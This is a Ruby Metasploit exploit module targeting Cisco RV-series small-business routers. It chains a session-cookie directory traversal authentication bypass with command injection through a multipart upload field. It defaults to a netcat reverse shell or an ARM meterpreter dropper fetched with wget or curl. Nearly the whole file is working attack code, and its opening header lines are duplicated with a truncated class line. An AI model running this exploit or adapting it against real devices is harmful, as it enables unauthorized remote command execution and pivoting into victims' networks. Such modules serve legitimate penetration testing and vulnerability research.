# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco RV Series Authentication Bypass and Command Injection',
'Description' => %q{
This module exploits two vulnerabilities, a session ID directory traversal authentication
bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,
and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.
This access can then be used to pivot to other parts of the network. This module works on firmware
versions 1.0.03.24 and below.
},
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Author' => [
'Biem Pham', # Vulnerability Discoveries
'Neterum', # Metasploit Module
'jbaines-r7' # Inspired from cisco_rv_series_authbypass_and_rce.rb
],
'DisclosureDate' => '2021-11-02',
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'References' => [
['CVE', '2022-20705'], # Authentication Bypass
['CVE', '2022-20707'], # Command Injection
['ZDI', '22-410'], # Authentication Bypass
['ZDI', '22-411'] # Command Injection
],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'BadChars' => ''#'
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'Payload' => {
'BadChars' => ''#'
},
'CmdStagerFlavor' => [ 'wget', 'curl' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path', '/'])
]
)
end
# sessionid utilized later needs to be set to length
# of 16 or exploit will fail. Tested with lengths
# 14-17
def generate_session_id
return Rex::Text.rand_text_alphanumeric(16)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => '/upload',
'headers' => {
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id
}
}, 10)
# A proper "upload" will trigger file creation. So the send_request_cgi call
# above is an incorrect "upload" call to avoid creating a file on disk. The router will return
# status code 405 Not Allowed if authentication has been bypassed by the above request.
# The firmware containing this authentication bypass also contains the command injection
# vulnerability that will be abused during actual exploitation. Non-vulnerable
# firmware versions will respond with 403 Forbidden.
if res.nil?
return CheckCode::Unknown('The device did not respond to request packet.')
elsif res.code == 405
return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.')
elsif res.code == 403
return CheckCode::Safe('The device is not vulnerable to exploitation.')
else # Catch-all
return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.')
end
end
def execute_command(cmd, _opts = {})
res = send_exploit(cmd)
# Successful unix_cmd shells should not produce a response.
# However if a response is returned, check the status code and return
# Failure::NotVulnerable if it is 403 Forbidden.
if target['Type'] == :unix_cmd && res&.code == 403
fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable')
end
if target['Type'] == :linux_dropper
fail_with(Failure::Unreachable, 'The target did not respond') unless res
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200
begin
body_json = res.get_json_document
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!')
end
end
print_good('Exploit successfully executed.')
end
def send_exploit(cmd)
filename = Rex::Text.rand_text_alphanumeric(5..12)
fileparam = Rex::Text.rand_text_alphanumeric(5..12)
input = Rex::Text.rand_text_alphanumeric(5..12)
# sessionid utilized later needs to be set to length
# of 16 or exploit will fail. Tested with lengths
# 14-17
sessionid = Rex::Text.rand_text_alphanumeric(16)
filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues.
pathparam = 'Configuration'
destination = "'; " + cmd + ' #'
multipart_form = Rex::MIME::Message.new
multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')
multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"')
multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"')
multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"')
multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')
multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%<filename>s"', filename: filename))
# Escaping "/tmp/upload/" folder that does not contain any other permanent files
send_request_cgi({
'method' => 'POST',
'uri' => '/upload',
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'headers' => {
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid
},
'data' => multipart_form.to_s
}, 10)
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 120)
end
end
end